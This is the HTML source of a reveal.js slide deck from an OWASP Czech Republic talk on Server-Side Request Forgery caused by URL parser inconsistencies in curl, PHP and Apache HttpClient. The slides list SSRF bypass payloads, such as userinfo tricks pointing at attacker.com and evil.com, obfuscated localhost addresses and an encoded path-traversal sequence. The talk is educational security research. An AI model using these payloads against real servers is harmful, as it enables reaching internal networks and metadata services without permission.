-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
631 lines (611 loc) · 21.7 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Naughty HttpClient</title>
<meta name="description" content="The inconsistency of URL parsers and URL requesters is root cause of the problem Server Side Request Forgery.">
<meta name="author" content="d4d">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="dist/reset.css">
<link rel="stylesheet" href="dist/reveal.css">
<link rel="stylesheet" href="dist/theme/black.css" id="night">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="plugin/highlight/monokai.css" id="highlight-theme">
</head>
<body>
<div class="reveal">
<!-- Any section element inside of this container is displayed as a slide -->
<div class="slides">
<section>
<h2>Naughty HttpClient</h2>
<p>
<small>By doge 4 doge (<a href="https://d0ge.github.io/">d4d</a>)</small>
<br>
<small>for <a href="https://owasp.org/www-chapter-czech-republic/">OWASP Czech Republic</a></small>
</p>
</section>
<section>
<h2>Notable mentions</h2>
<ul>
<li><a href="http://unicode.org/reports/tr36/">Unicode Security Considerations</a> by Mark Davis and Michel Suignard</li>
<li><a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf">A New Era of SSRF</a> by Orange Tsai</li>
<li><a href="https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886">The tangled web</a> by Michal Zalewski</li>
<li><a href="https://github.com/GrrrDog/weird_proxies">Weird Proxies</a> by Aleksei Tiurin</li>
</ul>
</section>
<section data-background-image="images/unnamed.png" data-background-repeat="no-repeat" data-background-position="top">
<h2>table of contents</h2>
<p>
<ul>
<li>Basics</li>
<li>Too long to parse</li>
<li>Null</li>
<li>UTF-8 fun</li>
<li>Lesson learned</li>
</ul>
</p>
</section>
<section data-transition="fade" data-background="#333333" data-background-transition="fade">
<h1>It's all about URL</h1>
</section>
<section data-auto-animate>
<p><span style="font-style:italic;font-weight:lighter">Uniform Resource Locator (URL)</span></p>
<table style="border: 1px solid white; font-size: 0.6em;">
<tr>
<th>scheme</th>
<th>:</th>
<th>//</th>
<th>userinfo</th>
<th>@</th>
<th>host</th>
<th>:</th>
<th>port</th>
<th>/path/</th>
<th>?</th>
<th>query</th>
<th>#</th>
<th>fragment</th>
</tr>
</table>
</section>
<section data-auto-animate>
<table style="border: 1px solid white; font-size: 0.6em;">
<tr>
<th>scheme</th>
<th>:</th>
<th>//</th>
<th>userinfo</th>
<th>@</th>
<th>host</th>
<th>:</th>
<th>port</th>
<th>/path/</th>
<th>?</th>
<th>query</th>
<th>#</th>
<th>fragment</th>
</tr>
</table>
<br>
<ul style="font-size: 0.6em;">
<li>A non-empty <span style="color:yellow">scheme</span> component followed by a colon ( <span style="color:yellow">:</span> )</li>
<li>An optional <span style="color:yellow">authority</span> component preceded by two slashes ( <span style="color:yellow">//</span> )</li>
<ul>
<li>An optional userinfo = user name + password </li>
<li>A host </li>
<li>An optional port </li>
</ul>
<li>A <span style="color:yellow">path</span> component, consisting of a sequence of path segments separated by a slash ( <span style="color:yellow">/</span> )</li>
<li>An optional query component preceded by a question mark (<span style="color:yellow">?</span>)</li>
<li>An optional fragment component preceded by a hash (<span style="color:yellow">#</span>)</li>
</ul>
</section>
<section>
<h2>Scheme</h2>
<p>
<span style="color:yellow">scheme</span>://username:password@host/path/?query#fragment
</p>
</section>
<section>
<p>
If <span style="color:yellow">//</span> is missed?
</p>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
GET /red.php?h=1 HTTP/1.1
Host: 00d4d.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
</code></pre>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 29 Nov 2020 18:47:18 GMT
Content-Type: text/html; charset=UTF-8
Location: http:00d4d.com/iframe.html
Content-Length: 31
</code></pre>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 29 Nov 2020 18:47:18 GMT
Content-Type: text/html; charset=UTF-8
Location: https:00d4d.com/iframe.html
Content-Length: 31
</code></pre>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
HTTP/1.1 302 Found
Server: nginx
Date: Sun, 29 Nov 2020 18:47:18 GMT
Content-Type: text/html; charset=UTF-8
Location: ftp:00d4d.com/iframe.html
Content-Length: 31
</code></pre>
</section>
<section>
<p>
Chrome, Firefox, Safari will open page.
</p>
</section>
<section>
<h2>userinfo</h2>
<p>
scheme://<span style="color:yellow">username:password</span>@host/path/?query#fragment
</p>
</section>
<section>
<pre><code data-trim>
http://127.0.0.1@127.2.2.2/
http://127.0.0.1#@127.2.2.2/
http://127.0.0.1&@127.2.2.2/
http://127.0.0.1?@127.2.2.2/
http://127.0.0.1 #@127.2.2.2/
http://127.0.0.1 &@127.2.2.2/
http://127.0.0.1 &@127.2.2.2# @127.3.3.3/
</code></pre>
</section>
<section>
<h2>host</h2>
<p>
scheme://username:password@<span style="color:yellow">host</span>/path/?query#fragment
</p>
</section>
<section data-markdown>
<textarea data-template>
| localhost | decimal IP | IPv6 / IPv4 |
| --------- | ------------ | ------------- |
| 127.1 | 017700000001 | [::127.0.0.1] |
| 127.0.1 | 2130706433 | [::127.0.0.1%1] |
| 127.0.0.1 | 0x7f.1 | [0:0:0:0:0:ffff:127.0.0.1] |
| 127.0.0.2 | 0177.0.0.2 | [0:0:0:0:0:ffff:127.0.0.2%1] |
</textarea>
</section>
<section>
<pre><code data-trim>
0.0.0.0
\g\o\o\g\l\e.\c\o\m
\103oogle.\099om
127。0。0。1
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
</code></pre>
</section>
<section>
<h2>path</h2>
<p>
scheme://username:password@host<span style="color:yellow">/path/?query#fragment</span>
</p>
</section>
<section>
<p>
<ul>
<li>Find Open Redirect at whitelisted host that redirects requests to the SSRF the target URL</li>
<li>Launch the SSRF pointing to vulnerable page</li>
<li>Redirect to local network</li>
</ul>
</p>
</section>
<section data-transition="fade" data-background="#333333" data-background-transition="fade">
<h1>Too long to parse</h1>
</section>
<section data-auto-animate>
<h2>Example</h2>
<pre data-id="code-animation"><code data-trim data-line-numbers>
$host = parse_url($_GET["url"]);
preg_match(
'/^api.vulnerable.com$/',
$host['host'],
$matches,
PREG_OFFSET_CAPTURE);
if($matches){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
$request = array(
'response' => curl_exec($ch),
'info' => curl_getinfo($ch),
'error_number' => curl_errno($ch),
'error_message' => curl_error($ch));
}
</code></pre>
</section>
<section data-auto-animate>
<h2>Example</h2>
<pre data-id="code-animation"><code data-trim data-line-numbers>
$host = parse_url($_GET["url"]);
preg_match(
'/^api\.vulnerable\.com$/',
$host['host'],
$matches,
PREG_OFFSET_CAPTURE);
if($matches){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
$request = array(
'response' => curl_exec($ch),
'info' => curl_getinfo($ch),
'error_number' => curl_errno($ch),
'error_message' => curl_error($ch));
}
</code></pre>
</section>
<section>
<h2>Abusing URL Parsers</h2>
<ul>
<li>http://foo@<span style="color:yellow">attacker.com:80</span>@api.vulnerable.com</li>
<li>http://foo@<span style="color:yellow">127.0.0.1</span>%20@api.vulnerable.com/</li>
</ul>
</section>
<section>
<h2><a href="https://github.com/d0ge/getaddr.git">getaddr</a></h2>
<p>
tiny Go tool to bruteforce Unix DNS resolver. Pay attention that behavior netdns=go/cgo may diff. Force low level resolver with build tag netcgo
</p>
</section>
<section>
<h2>getaddr</h2>
<pre><code data-trim>
func look(wg *sync.WaitGroup, names []string, nums chan []Result) {
defer wg.Done()
var results = make([]Result, 0)
for _, name := range names {
ips, _ := net.LookupIP(name)
if ips != nil {
r := Result{name: name, IPs: ips}
results = append(results, r)
}
}
nums <- results
}
</code>
</pre>
</section>
<section data-markdown>
<textarea data-template>
Ubuntu 16.04
```bash
"127.0.0.1\x00127.0.0.2" [127.0.0.1]
"127.0.0.1\t127.0.0.2" [127.0.0.1]
"127.0.0.1\n127.0.0.2" [127.0.0.1]
"127.0.0.1\v127.0.0.2" [127.0.0.1]
"127.0.0.1\f127.0.0.2" [127.0.0.1]
"127.0.0.1\r127.0.0.2" [127.0.0.1]
"127.0.0.1 127.0.0.2" [127.0.0.1]
```
Ubuntu latest
```bash
"127.0.0.1\x00127.0.0.2" [127.0.0.1]
"::127.0.0.1%127.0.0.2" [::7f00:1]
```
</textarea>
</section>
<section>
<h2><a href="https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51">PHP SSRF Techniques</a></h2>
<ul>
<li><span style="color:red">0</span>://<span style="color:yellow">evil.com:80</span>;google.com:80/</a></li>
<li><span style="color:red">0</span>://<span style="color:yellow">evil.com:80</span>,google.com:80/</a></li>
</ul>
</section>
<section>
<h2>Abusing length limit</h2>
<p>"although non-registered schemes are used in practice"</p>
</section>
<section>
<h2>curl</h2>
<div style="position: absolute; width: 100%; right: 0; box-shadow: 0 10px 40px rgba(0,0,0,0.5), 0 5px 25px rgba(0,0,0,0.2); background-color: rgba(0, 0, 0, 0.9); color: #fff; padding: 10px; text-align: left;">
<p>
<span style="color: #b8f;">d4d</span> in <span style="color: #4f5;">~</span> <span style="color: #e83;">λ</span>
<span style="display: inline-block;"><span style="color: #4f5;">curl</span> <span style="color: #ea6;">attacker.com</span><span>://anything</span></span>
<br>
<span style="display: inline-block;" class="fragment fade-up">
<span>curl: (1) Protocol "attacker.com" not supported or disabled in libcurl</span><br>
</span>
</p>
</div>
</section>
<section>
<h2>curl</h2>
<div style="position: absolute; width: 100%; right: 0; box-shadow: 0 10px 40px rgba(0,0,0,0.5), 0 5px 25px rgba(0,0,0,0.2); background-color: rgba(0, 0, 0, 0.9); color: #fff; padding: 10px; text-align: left;">
<p>
<span style="color: #b8f;">d4d</span> in <span style="color: #4f5;">~</span> <span style="color: #e83;">λ</span>
<span style="display: inline-block;"><span style="color: #4f5;">curl</span> <span style="color: #ea6;">longsubdomain.attacker.com</span><span>://anything</span></span>
<br>
<span style="display: inline-block;" class="fragment fade-up">
<span>curl: (6) Could not resolve host: longsubdomain.attacker.com</span><br>
</span>
</p>
</div>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
GET /owasp.php?url=longsubdomain.attacker.com://
api.vulnerable.com/ HTTP/1.1
Host: 00d4d.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
</code></pre>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 29 Nov 2020 18:47:18 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1459
Array(
[scheme] => longsubdomain.attacker.com
[host] => api.vulnerable.com
[path] => /)
[url] =>
http://longsubdomain.attacker.com://api.vulnerable.com/
[error_message] =>
Could not resolve host: longsubdomain.attacker.com
</code></pre>
</section>
<section>
<p>Patch 🤔</p>
<p>Latest versions of curl are not vulnerable to this attack<br>CVE-2017-9502 - URL file scheme drive letter buffer overflow</p>
</section>
<section data-transition="fade" data-background="#333333" data-background-transition="fade">
<h1>Null</h1>
</section>
<section>
<h2>URI</h2>
<p>
<ul>
<li><b>Uniform Resource Identifier (URI)</b> − a sequence of characters that allows the complete identification of any abstract or physical resource</li>
<li><b>Uniform Resource Locator (URL)</b> − a subset of URI that, in addition to identifying where a resource is available, describes the primary mechanism to access it</li>
</ul>
</p>
</section>
<section>
<a href="https://hc.apache.org/">The Apache HttpComponents</a>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
String payload ="http://133.37.13.37:80/";
URL payloadURL = new URL(payload);
URI payloadURI = new URI(payload);
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName();
}
</code></pre>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
String payload ="http://133.37.13.37:80/";
URL payloadURL = new URL(payload); // 133.37.13.37
URI payloadURI = new URI(payload); // 133.37.13.37
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName();
}
</code></pre>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
String payload ="http://%20:80/";
URL payloadURL = new URL(payload); // %20
URI payloadURI = new URI(payload); // null
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName();
}
</code></pre>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
if (host == null) { // normal parse failed;
// let's do it ourselves
// authority does not seem to care about
// the valid character-set for host names
host = uri.getAuthority();
</code></pre>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
host = uri.getAuthority();
if (host != null) {
// Strip off any leading user credentials
final int at = host.indexOf('@');
if (at >= 0) {
if (host.length() > at+1 ) {
host = host.substring(at+1);
} else {
host = null; // @ on its own
}
}
...
final int colon = host.indexOf(':');
</code></pre>
</section>
<section data-markdown>
<textarea data-template>
```bash
~# ping 127.1
PING 127.1 (127.0.0.1) 56(84) bytes of data.
~# ping 127.0.1
PING 127.0.1 (127.0.0.1) 56(84) bytes of data.
~# ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
```
</textarea>
</section>
<section data-auto-animate>
<p>http://<span style="color:red">%40</span><span style="color:yellow">127.0.0.1</span><span style="color:red">%3a</span>443@133.37.13:80/</p>
<pre data-id="code-animation"><code data-trim data-line-numbers>
String payload ="http://%40127.0.0.1%3a443@133.37.13:80/";
URL payloadURL = new URL(payload);
URI payloadURI = new URI(payload);
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName();
}
</code></pre>
</section>
<section data-auto-animate>
<p>http://<span style="color:red">%40</span><span style="color:yellow">127.0.0.1</span><span style="color:red">%3a</span>443@133.37.13:80/</p>
<pre data-id="code-animation"><code data-trim data-line-numbers>
String payload ="http://%40127.0.0.1%3a443@133.37.13:80/";
URL payloadURL = new URL(payload); // 133.37.13
URI payloadURI = new URI(payload); // null
HttpHost target = URIUtils.extractHost(payloadURI);
if (target!=null) {
return target.getHostName(); // 127.0.0.1
}
</code></pre>
</section>
<section>
<p>Won't Fix</p>
<p><span style="font-style:italic;font-weight:lighter">
"Apache HttpClient
can be used to generate any arbitrary valid (or even invalid) HTTP
messages with any arbitrary request URI (valid or invalid) and send
them to the origin server for execution."
</span>
</p>
</section>
<section data-transition="fade" data-background="#333333" data-background-transition="fade">
<h1>UTF-8 fun</h1>
</section>
<section>
<p>
<span style="font-style:italic;font-weight:lighter">
"For example, the backslash character <span style="color:yellow">\</span> can often be a dangerous character to let through a gatekeeper,
because it can be used to access different directories.
The backslash is represented in UTF-8 as the byte sequence <5C>
However, as a non-shortest form, backslash could also be represented as the byte sequence <C1 9C>"
</span>
</p>
</section>
<section>
<p>
<span style="font-style:italic;font-weight:lighter">
"Again, incoming characters must never be deleted, because that can cause security problems."
</span>
</p>
</section>
<section data-background-image="images/apache.jpg" data-background-repeat="no-repeat">
</section>
<section data-markdown>
<textarea data-template>
| Ю | Я | п |
| - | - | - |
| %D0%AE | %D0%AE | %D0%BF |
| 042E | 042F | 043F |
</textarea>
</section>
<section data-markdown>
<textarea data-template>
| Ю | Я | п |
| - | - | - |
| %D0%AE | %D0%AE | %D0%BF |
| ~04~2E | ~04~2F | ~04~3F |
| . | / | ? |
</textarea>
</section>
<section>
<h2>rewriteURI</h2>
<p>
"Apache-HttpClient/4.5.8" <br> "Apache-HttpClient/4.5.9"
</p>
</section>
<section data-auto-animate>
<pre data-id="code-animation"><code data-trim data-line-numbers>
/a/b/%D0%AE%D0%AE%D0%AF%D0%AE%D0%AE%D0%AF%D0%BF1/items?q=1
/a/b/..%2F..%2F%3F1/items?q=1
</code></pre>
</section>
<section>
<h2><a href="https://github.com/GrrrDog/weird_proxies">Weird Proxies</a></h2>
<p>
Many web servers support path normalization:
<pre>
<code>
/long/../path/here -> /path/here
/long/./path/here -> /long/path/here
</code>
</pre>
</p>
</section>
<section>
<h2>Open Redirect</h2>
<p>
API?
</p>
</section>
<section>
<h2>Lesson learned</h2>
<ul>
<li>Patch management not works</li>
<li>Disable metadata API</li>
<li>Firewall/Network ACL</li>
</ul>
</section>
<section>
<h2>More</h2>
<p>
<a href="https://d0ge.github.io/">https://d0ge.github.io/</a> <br>
<a href="https://github.com/d0ge/getaddr.git">https://github.com/d0ge/getaddr.git</a>
</p>
<img src="images/qr_blog.svg"/>
</section>
<section data-background-image="images/time-for-story-over.jpeg" data-background-repeat="no-repeat">
<h2>Q&A</h2>
</section>
</div>
</div>
<script src="dist/reveal.js"></script>
<script src="plugin/zoom/zoom.js"></script>
<script src="plugin/notes/notes.js"></script>
<script src="plugin/search/search.js"></script>
<script src="plugin/markdown/markdown.js"></script>
<script src="plugin/highlight/highlight.js"></script>
<script>
// Also available as an ES module, see:
// https://revealjs.com/initialization/
Reveal.initialize({
controls: true,
progress: true,
center: true,
hash: true,
// Learn about plugins: https://revealjs.com/plugins/
plugins: [ RevealZoom, RevealNotes, RevealSearch, RevealMarkdown, RevealHighlight ]
});
</script>
</body>
</html>